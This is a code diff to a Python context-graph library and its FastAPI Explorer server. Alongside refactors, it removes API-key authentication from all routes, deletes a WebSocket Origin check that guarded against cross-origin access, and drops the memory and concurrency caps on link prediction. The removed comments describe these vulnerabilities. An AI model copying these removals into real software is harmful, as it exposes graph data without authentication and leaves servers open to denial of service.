||||
|
||||
return [
|
||||
(str(file_path), self._read_markdown_file_content(file_path))
|
||||
(str(file_path), file_path.read_text(encoding="utf-8"))
|
||||
for file_path in file_paths
|
||||
]
|
||||
|
||||
|
||||
@@ -410,15 +410,6 @@ class ContextEdge:
|
||||
return d
|
||||
|
||||
|
||||
_ATTRS_MISSING = object()
|
||||
|
||||
#: Edge types that represent an explicitly recorded causal relationship between
|
||||
#: two decisions. These are authoritative: they are what the caller asserted via
|
||||
#: add_causal_relationship(), as opposed to relationships inferred from shared
|
||||
#: entities and timestamps.
|
||||
_CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR")
|
||||
|
||||
|
||||
class ContextGraph:
|
||||
"""
|
||||
Easy-to-Use Context Graph with All Advanced Features.
|
||||
@@ -717,71 +708,18 @@ class ContextGraph:
|
||||
})
|
||||
return result
|
||||
|
||||
def get_node_property(
|
||||
self,
|
||||
node_id: str,
|
||||
property_name: str,
|
||||
default: Any = None,
|
||||
) -> Any:
|
||||
"""Return the value of *property_name* on *node_id*.
|
||||
|
||||
Returns *default* when the node does not exist or when the property is
|
||||
not set on the node. Both failure modes return the same *default*, so
|
||||
a sentinel can identify *any not-found result* as distinct from a
|
||||
property whose value is legitimately ``None``::
|
||||
|
||||
_MISSING = object()
|
||||
val = graph.get_node_property(node_id, "score", default=_MISSING)
|
||||
if val is _MISSING:
|
||||
... # node absent or property not set
|
||||
|
||||
To distinguish a missing node from a missing property specifically,
|
||||
call ``find_node()`` first to check node existence.
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
property_name: Name of the property to retrieve.
|
||||
default: Value returned when the node or property is absent.
|
||||
Defaults to ``None`` (backward-compatible).
|
||||
|
||||
Returns:
|
||||
The property value, or *default* if not found.
|
||||
"""
|
||||
def get_node_property(self, node_id: str, property_name: str) -> Any:
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if node is None:
|
||||
return default
|
||||
return node.properties.get(property_name, default)
|
||||
if not node:
|
||||
return None
|
||||
return node.properties.get(property_name)
|
||||
|
||||
def get_node_attributes(
|
||||
self,
|
||||
node_id: str,
|
||||
default: Any = _ATTRS_MISSING,
|
||||
) -> Any:
|
||||
"""Return a copy of all properties on *node_id*.
|
||||
|
||||
Returns *default* when the node does not exist. The historical
|
||||
default is ``{}`` (an empty dict), preserved for backward
|
||||
compatibility. Pass a private sentinel as *default* to detect a
|
||||
missing node unambiguously::
|
||||
|
||||
_MISSING = object()
|
||||
attrs = graph.get_node_attributes(node_id, default=_MISSING)
|
||||
if attrs is _MISSING:
|
||||
... # node does not exist
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
default: Value returned when the node is absent.
|
||||
Defaults to ``{}`` (backward-compatible).
|
||||
|
||||
Returns:
|
||||
A shallow copy of the node's properties dict, or *default*.
|
||||
"""
|
||||
def get_node_attributes(self, node_id: str) -> Dict[str, Any]:
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if node is None:
|
||||
return {} if default is _ATTRS_MISSING else default
|
||||
if not node:
|
||||
return {}
|
||||
return node.properties.copy()
|
||||
|
||||
def add_node_attribute(self, node_id: str, attributes: Dict[str, Any]) -> None:
|
||||
@@ -792,28 +730,13 @@ class ContextGraph:
|
||||
node.properties.update(attributes)
|
||||
node.metadata.update(attributes)
|
||||
|
||||
|
||||
if getattr(self, "mutation_callback", None) and not getattr(
|
||||
self, "_suspend_mutation_callback", False
|
||||
):
|
||||
try:
|
||||
self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Audit trail callback failed for node {node_id}: {e}")
|
||||
self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
|
||||
|
||||
def get_edge_data(self, source_id: str, target_id: str) -> Dict[str, Any]:
|
||||
"""Return metadata for the edge between *source_id* and *target_id*.
|
||||
|
||||
Returns an empty dict ``{}`` when no edge exists between the two nodes
|
||||
or when either node is absent.
|
||||
|
||||
Args:
|
||||
source_id: ID of the source node.
|
||||
target_id: ID of the target node.
|
||||
|
||||
Returns:
|
||||
A dict containing edge metadata (``id``, ``familyId``, ``type``,
|
||||
``weight``, plus any custom metadata), or ``{}`` if not found.
|
||||
"""
|
||||
with self._lock:
|
||||
for edge in self._adjacency.get(source_id, []):
|
||||
if edge.target_id == target_id:
|
||||
@@ -1157,17 +1080,7 @@ class ContextGraph:
|
||||
self.logger.info(f"Loaded context graph from {path}")
|
||||
|
||||
def find_node(self, node_id: str) -> Optional[Dict[str, Any]]:
|
||||
"""Return a dict representation of the node identified by *node_id*.
|
||||
|
||||
Returns ``None`` when the node does not exist.
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
|
||||
Returns:
|
||||
A dict with keys ``id``, ``type``, ``content``, and ``metadata``,
|
||||
or ``None`` if the node is not found.
|
||||
"""
|
||||
"""Find a node by ID."""
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if node:
|
||||
@@ -1856,48 +1769,47 @@ class ContextGraph:
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
"""Export graph to dictionary format."""
|
||||
with self._lock:
|
||||
nodes_out = []
|
||||
for n in self.nodes.values():
|
||||
entry: Dict[str, Any] = {
|
||||
"id": n.node_id,
|
||||
"type": n.node_type,
|
||||
"content": n.content,
|
||||
"properties": n.properties,
|
||||
"metadata": n.metadata,
|
||||
}
|
||||
if n.valid_from is not None:
|
||||
entry["valid_from"] = n.valid_from
|
||||
if n.valid_until is not None:
|
||||
entry["valid_until"] = n.valid_until
|
||||
nodes_out.append(entry)
|
||||
|
||||
edges_out = []
|
||||
for e in self.edges:
|
||||
entry = {
|
||||
"id": e.edge_id,
|
||||
"familyId": e.family_id or e.edge_id,
|
||||
"source": e.source_id,
|
||||
"target": e.target_id,
|
||||
"type": e.edge_type,
|
||||
"weight": e.weight,
|
||||
}
|
||||
if e.metadata:
|
||||
entry["metadata"] = e.metadata
|
||||
if e.valid_from is not None:
|
||||
entry["valid_from"] = e.valid_from
|
||||
if e.valid_until is not None:
|
||||
entry["valid_until"] = e.valid_until
|
||||
edges_out.append(entry)
|
||||
|
||||
return {
|
||||
"nodes": nodes_out,
|
||||
"edges": edges_out,
|
||||
"statistics": {
|
||||
"node_count": len(self.nodes),
|
||||
"edge_count": len(self.edges),
|
||||
},
|
||||
nodes_out = []
|
||||
for n in self.nodes.values():
|
||||
entry: Dict[str, Any] = {
|
||||
"id": n.node_id,
|
||||
"type": n.node_type,
|
||||
"content": n.content,
|
||||
"properties": n.properties,
|
||||
"metadata": n.metadata,
|
||||
}
|
||||
if n.valid_from is not None:
|
||||
entry["valid_from"] = n.valid_from
|
||||
if n.valid_until is not None:
|
||||
entry["valid_until"] = n.valid_until
|
||||
nodes_out.append(entry)
|
||||
|
||||
edges_out = []
|
||||
for e in self.edges:
|
||||
entry = {
|
||||
"id": e.edge_id,
|
||||
"familyId": e.family_id or e.edge_id,
|
||||
"source": e.source_id,
|
||||
"target": e.target_id,
|
||||
"type": e.edge_type,
|
||||
"weight": e.weight,
|
||||
}
|
||||
if e.metadata:
|
||||
entry["metadata"] = e.metadata
|
||||
if e.valid_from is not None:
|
||||
entry["valid_from"] = e.valid_from
|
||||
if e.valid_until is not None:
|
||||
entry["valid_until"] = e.valid_until
|
||||
edges_out.append(entry)
|
||||
|
||||
return {
|
||||
"nodes": nodes_out,
|
||||
"edges": edges_out,
|
||||
"statistics": {
|
||||
"node_count": len(self.nodes),
|
||||
"edge_count": len(self.edges),
|
||||
},
|
||||
}
|
||||
|
||||
def from_dict(self, graph_dict: Dict[str, Any]) -> None:
|
||||
"""Load graph from dictionary format."""
|
||||
@@ -2786,20 +2698,11 @@ class ContextGraph:
|
||||
direct_influence.discard(decision_id)
|
||||
direct_influence.update(self._decision_index.get(decision["category"], set()))
|
||||
direct_influence.discard(decision_id)
|
||||
|
||||
# Explicit causal relationships recorded via add_causal_relationship() are
|
||||
# ground truth and always count as direct influence, in either direction.
|
||||
for edge_type in _CAUSAL_EDGE_TYPES:
|
||||
for edge in self.edge_type_index.get(edge_type, []):
|
||||
if edge.source_id == decision_id and edge.target_id in self._decisions:
|
||||
direct_influence.add(edge.target_id)
|
||||
elif edge.target_id == decision_id and edge.source_id in self._decisions:
|
||||
direct_influence.add(edge.source_id)
|
||||
|
||||
# Indirect influence (through graph relationships)
|
||||
indirect_influence = set()
|
||||
if include_indirect and self.config.get("advanced_analytics"):
|
||||
indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth) - direct_influence
|
||||
indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth)
|
||||
|
||||
# Calculate influence scores
|
||||
influence_scores = {}
|
||||
@@ -2903,106 +2806,42 @@ class ContextGraph:
|
||||
def trace_decision_causality(
|
||||
self,
|
||||
decision_id: str,
|
||||
max_depth: int = 5,
|
||||
max_chains: Optional[int] = 10000
|
||||
max_depth: int = 5
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Trace causal chain for a decision.
|
||||
|
||||
|
||||
Args:
|
||||
decision_id: Decision to trace
|
||||
max_depth: Maximum depth for causal analysis
|
||||
max_chains: Maximum number of chains to return. Densely connected
|
||||
graphs can contain a combinatorial number of distinct causal
|
||||
paths, so the traversal stops once this many chains have been
|
||||
collected and appends a ``{"truncated": True, ...}`` marker so
|
||||
callers can tell the trace is incomplete. Pass None for no limit.
|
||||
|
||||
|
||||
Returns:
|
||||
Causal chain as list of decision relationships
|
||||
"""
|
||||
if not hasattr(self, '_decisions') or decision_id not in self._decisions:
|
||||
raise ValueError(f"Decision {decision_id} not found")
|
||||
|
||||
|
||||
try:
|
||||
# Use graph traversal to find causal relationships
|
||||
causal_chain = []
|
||||
chain_limit = float("inf") if max_chains is None else max_chains
|
||||
truncated = False
|
||||
|
||||
# Reverse index of explicit causal edges, built once per call so the
|
||||
# traversal does not rescan the edge list at every visited node.
|
||||
# Edges may reference decision nodes that were never recorded through
|
||||
# record_decision() (e.g. a graph restored via from_dict), so only
|
||||
# causes with a known decision record are kept.
|
||||
incoming_causal_edges = defaultdict(list)
|
||||
for edge_type in _CAUSAL_EDGE_TYPES:
|
||||
for edge in self.edge_type_index.get(edge_type, []):
|
||||
if edge.source_id in self._decisions:
|
||||
incoming_causal_edges[edge.target_id].append(edge)
|
||||
|
||||
def record_chain(cause_path):
|
||||
"""Record one chain. Returns False once the cap is reached."""
|
||||
nonlocal truncated
|
||||
if len(causal_chain) >= chain_limit:
|
||||
truncated = True
|
||||
return False
|
||||
causal_chain.append(
|
||||
self._build_causal_chain_report(list(reversed(cause_path)))
|
||||
)
|
||||
return True
|
||||
|
||||
def trace_recursive(current_id, depth, path, path_ids):
|
||||
# Cycle detection is per-path rather than global: a decision reached
|
||||
# through one branch must stay traversable through another, otherwise
|
||||
# branching graphs silently lose valid chains. max_depth bounds the
|
||||
# traversal.
|
||||
if truncated or depth >= max_depth or current_id in path_ids:
|
||||
visited = set()
|
||||
|
||||
def trace_recursive(current_id, depth, path):
|
||||
if depth >= max_depth or current_id in visited:
|
||||
return
|
||||
|
||||
path_ids = path_ids | {current_id}
|
||||
|
||||
visited.add(current_id)
|
||||
current_decision = self._decisions[current_id]
|
||||
|
||||
# Explicit causal relationships recorded via add_causal_relationship()
|
||||
# take precedence - they are the ground truth the caller recorded.
|
||||
# Every edge is traced, so parallel relationships between the same
|
||||
# pair of decisions are all reported rather than overwriting.
|
||||
explicit_causes = incoming_causal_edges.get(current_id, [])
|
||||
explicit_cause_ids = {edge.source_id for edge in explicit_causes}
|
||||
|
||||
for edge in explicit_causes:
|
||||
cause_id = edge.source_id
|
||||
cause_dec = self._decisions[cause_id]
|
||||
weight = getattr(edge, "weight", None)
|
||||
# A stored weight of 0.0 is meaningful and must not be coerced
|
||||
# to the 1.0 default.
|
||||
edge_weight = 1.0 if weight is None else float(weight)
|
||||
hop = {
|
||||
"from": cause_id,
|
||||
"from_scenario": cause_dec.get("scenario", ""),
|
||||
"to": current_id,
|
||||
"to_scenario": current_decision.get("scenario", ""),
|
||||
"type": edge.edge_type,
|
||||
"edge_weight": edge_weight,
|
||||
}
|
||||
cause_path = path + [hop]
|
||||
if not record_chain(cause_path):
|
||||
return
|
||||
trace_recursive(cause_id, depth + 1, cause_path, path_ids)
|
||||
if truncated:
|
||||
return
|
||||
|
||||
# Find potential causes (decisions that influenced this one) via
|
||||
# shared entities/timestamps - additive heuristic, skipping anything
|
||||
# already covered by an explicit relationship above.
|
||||
|
||||
# Find potential causes (decisions that influenced this one)
|
||||
potential_causes = []
|
||||
for entity in current_decision["entities"]:
|
||||
for other_decision_id in self._entity_index.get(entity, set()):
|
||||
if other_decision_id != current_id and other_decision_id not in explicit_cause_ids:
|
||||
if other_decision_id != current_id:
|
||||
other_decision = self._decisions[other_decision_id]
|
||||
if other_decision["timestamp"] < current_decision["timestamp"]:
|
||||
potential_causes.append(other_decision_id)
|
||||
|
||||
|
||||
for cause_id in potential_causes:
|
||||
cause_dec = self._decisions.get(cause_id, {})
|
||||
edge_weight = float(cause_dec.get("confidence", 1.0))
|
||||
@@ -3015,32 +2854,10 @@ class ContextGraph:
|
||||
"edge_weight": edge_weight,
|
||||
}
|
||||
cause_path = path + [hop]
|
||||
if not record_chain(cause_path):
|
||||
return
|
||||
trace_recursive(cause_id, depth + 1, cause_path, path_ids)
|
||||
if truncated:
|
||||
return
|
||||
|
||||
trace_recursive(decision_id, 0, [], frozenset())
|
||||
|
||||
if truncated:
|
||||
# Never drop chains silently: the caller is told the trace is partial.
|
||||
self.logger.warning(
|
||||
"Causal trace for %s truncated at %s chains; "
|
||||
"raise max_chains or lower max_depth for a complete trace.",
|
||||
decision_id,
|
||||
max_chains,
|
||||
)
|
||||
causal_chain.append({
|
||||
"truncated": True,
|
||||
"max_chains": max_chains,
|
||||
"message": (
|
||||
f"Causal trace truncated at {max_chains} chains. "
|
||||
"The result is incomplete; raise max_chains or lower "
|
||||
"max_depth for a complete trace."
|
||||
),
|
||||
})
|
||||
|
||||
causal_chain.append(self._build_causal_chain_report(list(reversed(cause_path))))
|
||||
trace_recursive(cause_id, depth + 1, cause_path)
|
||||
|
||||
trace_recursive(decision_id, 0, [])
|
||||
return causal_chain
|
||||
|
||||
except Exception as e:
|
||||
@@ -3509,25 +3326,21 @@ class ContextGraph:
|
||||
def trace_decision_chain(
|
||||
self,
|
||||
decision_id: str,
|
||||
max_steps: int = 5,
|
||||
max_chains: Optional[int] = 10000
|
||||
max_steps: int = 5
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Easy way to trace how decisions are connected.
|
||||
|
||||
|
||||
Args:
|
||||
decision_id: Starting decision
|
||||
max_steps: Maximum steps to trace
|
||||
max_chains: Maximum number of chains to return; see
|
||||
trace_decision_causality(). Pass None for no limit.
|
||||
|
||||
|
||||
Returns:
|
||||
Decision chain connections
|
||||
"""
|
||||
return self.trace_decision_causality(
|
||||
decision_id=decision_id,
|
||||
max_depth=max_steps,
|
||||
max_chains=max_chains
|
||||
max_depth=max_steps
|
||||
)
|
||||
|
||||
def check_decision_rules(
|
||||
|
||||
@@ -83,22 +83,12 @@ def main(argv=None):
|
||||
|
||||
_LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
|
||||
if args.host not in _LOOPBACK_HOSTS:
|
||||
import os as _os
|
||||
if _os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true":
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] with SEMANTICA_ALLOW_ANONYMOUS=true "
|
||||
"exposes the Explorer to the network with no authentication — "
|
||||
"all graph data will be readable and writable by any host that "
|
||||
"can reach this port."
|
||||
)
|
||||
elif not _os.environ.get("SEMANTICA_API_KEY"):
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] but SEMANTICA_API_KEY is not set — "
|
||||
"protected routes will refuse all requests (503) until it is "
|
||||
"configured."
|
||||
)
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] exposes the Explorer to the network. "
|
||||
"The API has no authentication — all graph data will be readable "
|
||||
"and writable by any host that can reach this port."
|
||||
)
|
||||
|
||||
if not args.no_browser:
|
||||
import threading
|
||||
|
||||
+17
-60
@@ -8,14 +8,13 @@ from contextlib import asynccontextmanager
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from fastapi import Depends, FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
|
||||
from .. import __version__
|
||||
from ..context.context_graph import ContextGraph
|
||||
from .dependencies import anonymous_access_allowed, get_expected_api_key, is_valid_api_key, require_auth
|
||||
from .session import GraphSession
|
||||
from .ws import ConnectionManager
|
||||
|
||||
@@ -98,22 +97,6 @@ def create_app(
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
import logging as _lifespan_logging
|
||||
_lifespan_logger = _lifespan_logging.getLogger(__name__)
|
||||
if anonymous_access_allowed():
|
||||
_lifespan_logger.warning(
|
||||
"Explorer is running with SEMANTICA_ALLOW_ANONYMOUS=true — "
|
||||
"all API routes are unauthenticated. Do not expose this "
|
||||
"process beyond localhost."
|
||||
)
|
||||
elif get_expected_api_key():
|
||||
_lifespan_logger.info("Explorer API authentication: enabled (SEMANTICA_API_KEY set).")
|
||||
else:
|
||||
_lifespan_logger.warning(
|
||||
"Explorer API authentication: NOT CONFIGURED. All protected "
|
||||
"routes will return 503 until SEMANTICA_API_KEY is set."
|
||||
)
|
||||
|
||||
app.state.event_loop = asyncio.get_running_loop()
|
||||
app.state.ws_manager = ConnectionManager()
|
||||
app.state.session = active_session
|
||||
@@ -130,17 +113,17 @@ def create_app(
|
||||
app.state.explorer_settings = settings
|
||||
|
||||
# allow_credentials lets browsers send cookies/auth headers cross-origin.
|
||||
# Credentials aren't needed for the X-API-Key auth scheme below, and
|
||||
# enabling them when origins are broadened creates cross-site request
|
||||
# risk. Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g.
|
||||
# for a reverse-proxy setup that injects its own cookie-based auth).
|
||||
# The Explorer has no authentication, so credentials serve no purpose and
|
||||
# enabling them when origins are broadened creates cross-site request risk.
|
||||
# Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g. for a
|
||||
# reverse-proxy setup that injects its own auth layer).
|
||||
_allow_credentials = os.environ.get("EXPLORER_CORS_CREDENTIALS", "false").lower() == "true"
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=settings["allowed_origins"],
|
||||
allow_credentials=_allow_credentials,
|
||||
allow_methods=["GET", "POST", "DELETE", "OPTIONS"],
|
||||
allow_headers=["Content-Type", "Authorization", "X-API-Key"],
|
||||
allow_headers=["Content-Type", "Authorization"],
|
||||
max_age=600,
|
||||
)
|
||||
|
||||
@@ -176,48 +159,22 @@ def create_app(
|
||||
from .routes.temporal import router as temporal_router
|
||||
from .routes.vocabulary import router as vocabulary_router
|
||||
|
||||
_auth = [Depends(require_auth)]
|
||||
app.include_router(graph_router, dependencies=_auth)
|
||||
app.include_router(analytics_router, dependencies=_auth)
|
||||
app.include_router(decisions_router, dependencies=_auth)
|
||||
app.include_router(temporal_router, dependencies=_auth)
|
||||
app.include_router(enrich_router, dependencies=_auth)
|
||||
app.include_router(export_import_router, dependencies=_auth)
|
||||
app.include_router(annotations_router, dependencies=_auth)
|
||||
app.include_router(sparql_router, dependencies=_auth)
|
||||
app.include_router(provenance_router, dependencies=_auth)
|
||||
app.include_router(vocabulary_router, dependencies=_auth)
|
||||
app.include_router(ontology_router, dependencies=_auth)
|
||||
app.include_router(graph_router)
|
||||
app.include_router(analytics_router)
|
||||
app.include_router(decisions_router)
|
||||
app.include_router(temporal_router)
|
||||
app.include_router(enrich_router)
|
||||
app.include_router(export_import_router)
|
||||
app.include_router(annotations_router)
|
||||
app.include_router(sparql_router)
|
||||
app.include_router(provenance_router)
|
||||
app.include_router(vocabulary_router)
|
||||
app.include_router(ontology_router)
|
||||
|
||||
_WS_MAX_MESSAGE_BYTES = 64 * 1024 # 64 KB — control messages only
|
||||
|
||||
@app.websocket("/ws/graph-updates")
|
||||
async def websocket_endpoint(websocket: WebSocket):
|
||||
# CORSMiddleware doesn't cover WebSocket handshakes (Starlette's
|
||||
# CORS support only wraps HTTP), so under SEMANTICA_ALLOW_ANONYMOUS
|
||||
# the key check below accepts any origin — loopback binding isn't a
|
||||
# boundary against a browser, since any page the operator has open
|
||||
# can still reach ws://localhost:.../ws/graph-updates directly.
|
||||
# Reject a foreign Origin explicitly here, against the same
|
||||
# allowlist CORSMiddleware already enforces for HTTP
|
||||
# (GHSA-4643-wpgq-w329). Browsers always send Origin on a
|
||||
# cross-origin WebSocket handshake; native/CLI clients omit it
|
||||
# entirely, so a missing Origin is allowed through — the browser is
|
||||
# the only threat this check is closing.
|
||||
origin = websocket.headers.get("origin")
|
||||
allowed_origins = app.state.explorer_settings["allowed_origins"]
|
||||
if origin is not None and origin not in allowed_origins:
|
||||
await websocket.close(code=4403) # forbidden
|
||||
return
|
||||
|
||||
# Browsers can't set custom headers on a WebSocket handshake, so
|
||||
# accept the key via header (non-browser clients) or query param
|
||||
# (browser clients), same SEMANTICA_API_KEY the REST routes check.
|
||||
candidate = websocket.headers.get("x-api-key") or websocket.query_params.get("api_key")
|
||||
if not is_valid_api_key(candidate):
|
||||
await websocket.close(code=4401) # unauthorized
|
||||
return
|
||||
|
||||
manager: ConnectionManager = app.state.ws_manager
|
||||
await manager.connect(websocket)
|
||||
await manager.send_personal(websocket, "connection_ack", {"connected": True})
|
||||
|
||||
@@ -2,75 +2,14 @@
|
||||
Semantica Explorer : FastAPI Dependencies
|
||||
|
||||
Provides ``Depends()``-compatible callables for injecting the
|
||||
current ``GraphSession`` and ``ConnectionManager`` into route handlers,
|
||||
and for enforcing API-key authentication on protected routes.
|
||||
current ``GraphSession`` and ``ConnectionManager`` into route handlers.
|
||||
"""
|
||||
|
||||
import hmac
|
||||
import os
|
||||
from typing import Optional
|
||||
|
||||
from fastapi import Request, HTTPException, Security, status
|
||||
from fastapi.security.api_key import APIKeyHeader
|
||||
from fastapi import Request, HTTPException, status
|
||||
|
||||
from .session import GraphSession
|
||||
from .ws import ConnectionManager
|
||||
|
||||
_api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)
|
||||
|
||||
|
||||
def get_expected_api_key() -> Optional[str]:
|
||||
"""Read the configured API key from the environment on every call.
|
||||
|
||||
Read fresh (not cached) so tests and ops tooling can rotate the key
|
||||
without restarting the process.
|
||||
"""
|
||||
return os.environ.get("SEMANTICA_API_KEY") or None
|
||||
|
||||
|
||||
def anonymous_access_allowed() -> bool:
|
||||
return os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true"
|
||||
|
||||
|
||||
def is_valid_api_key(candidate: Optional[str]) -> bool:
|
||||
"""Return True if *candidate* matches the configured key, or if the
|
||||
server has explicitly opted into anonymous access."""
|
||||
if anonymous_access_allowed():
|
||||
return True
|
||||
expected = get_expected_api_key()
|
||||
if not expected:
|
||||
return False
|
||||
return bool(candidate) and hmac.compare_digest(candidate, expected)
|
||||
|
||||
|
||||
def require_auth(api_key: Optional[str] = Security(_api_key_header)) -> None:
|
||||
"""Dependency enforcing the ``X-API-Key`` header on protected routes.
|
||||
|
||||
Every Explorer/API router (except health/info/static assets) should be
|
||||
mounted with ``dependencies=[Depends(require_auth)]``. If
|
||||
SEMANTICA_API_KEY is unset, requests are refused with 503 rather than
|
||||
silently served unauthenticated — SEMANTICA_ALLOW_ANONYMOUS=true opts
|
||||
into that explicitly for local development.
|
||||
"""
|
||||
if anonymous_access_allowed():
|
||||
return
|
||||
expected = get_expected_api_key()
|
||||
if not expected:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail=(
|
||||
"Server is not configured for authentication. Set the "
|
||||
"SEMANTICA_API_KEY environment variable, or explicitly opt "
|
||||
"into unauthenticated access (development only) with "
|
||||
"SEMANTICA_ALLOW_ANONYMOUS=true."
|
||||
),
|
||||
)
|
||||
if not api_key or not hmac.compare_digest(api_key, expected):
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="Invalid or missing API key. Send it as the X-API-Key header.",
|
||||
)
|
||||
|
||||
|
||||
def get_session(request: Request) -> GraphSession:
|
||||
"""Retrieve the GraphSession stored on ``app.state``."""
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Enrichment and reasoning routes.
|
||||
"""
|
||||
|
||||
@@ -26,23 +26,6 @@ from ..session import GraphSession
|
||||
router = APIRouter(tags=["Enrichment"])
|
||||
_FACT_RE = re.compile(r"^(?P<predicate>[A-Za-z_][\w:-]*)\((?P<args>.*)\)$")
|
||||
|
||||
# SECURITY: Cap the candidate pool loaded by link prediction to prevent a
|
||||
# single request from exhausting server memory (CWE-770). Without a cap the
|
||||
# endpoint calls session.get_nodes(limit=999_999) and scores every node in
|
||||
# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via
|
||||
# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py).
|
||||
# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore).
|
||||
#
|
||||
# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges)
|
||||
# normalize the *entire* matching set before applying `limit` -- passing
|
||||
# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total`
|
||||
# they return can only be checked *after* paying that full cost. To actually
|
||||
# reject an oversized graph before doing that work, check session.get_raw_counts()
|
||||
# (O(1) collection lengths) first -- see predict_links() below.
|
||||
_LINK_PREDICTION_MAX_NODES = 10_000
|
||||
_LINK_PREDICTION_MAX_EDGES = 50_000
|
||||
_link_prediction_semaphore = asyncio.Semaphore(2)
|
||||
|
||||
|
||||
def _safe_dict(obj) -> dict:
|
||||
if isinstance(obj, dict):
|
||||
@@ -211,80 +194,40 @@ async def predict_links(
|
||||
if node is None:
|
||||
raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found")
|
||||
|
||||
# SECURITY: Acquire semaphore BEFORE loading data so concurrent requests
|
||||
# cannot pile up expensive threadpool work and memory pressure (Qodo #2).
|
||||
async with _link_prediction_semaphore:
|
||||
# SECURITY: Reject an oversized graph using the O(1) raw collection
|
||||
# lengths BEFORE calling get_nodes()/get_edges(), which normalize the
|
||||
# *entire* matching set before applying `limit` -- checking `total`
|
||||
# only after that call still pays the full O(graph size) cost the cap
|
||||
# is meant to avoid.
|
||||
total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts)
|
||||
if total_nodes > _LINK_PREDICTION_MAX_NODES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_nodes:,} nodes; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
if total_edges > _LINK_PREDICTION_MAX_EDGES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_edges:,} edges; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)
|
||||
edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)
|
||||
|
||||
# SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates.
|
||||
# The hardcoded limit in the original code consumed ~1.6 GB RAM
|
||||
# per request and had no concurrency guard, making it trivially DoS-able.
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES)
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges if edge.get("source") == body.node_id
|
||||
} | {
|
||||
edge.get("source") for edge in edges if edge.get("target") == body.node_id
|
||||
}
|
||||
|
||||
# Load edges specific to the queried node rather than a globally
|
||||
# truncated page — avoids missing neighbours when the node's edges
|
||||
# fall outside the first page (Qodo #3).
|
||||
edges_out, _ = await asyncio.to_thread(
|
||||
session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
edges_in, _ = await asyncio.to_thread(
|
||||
session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
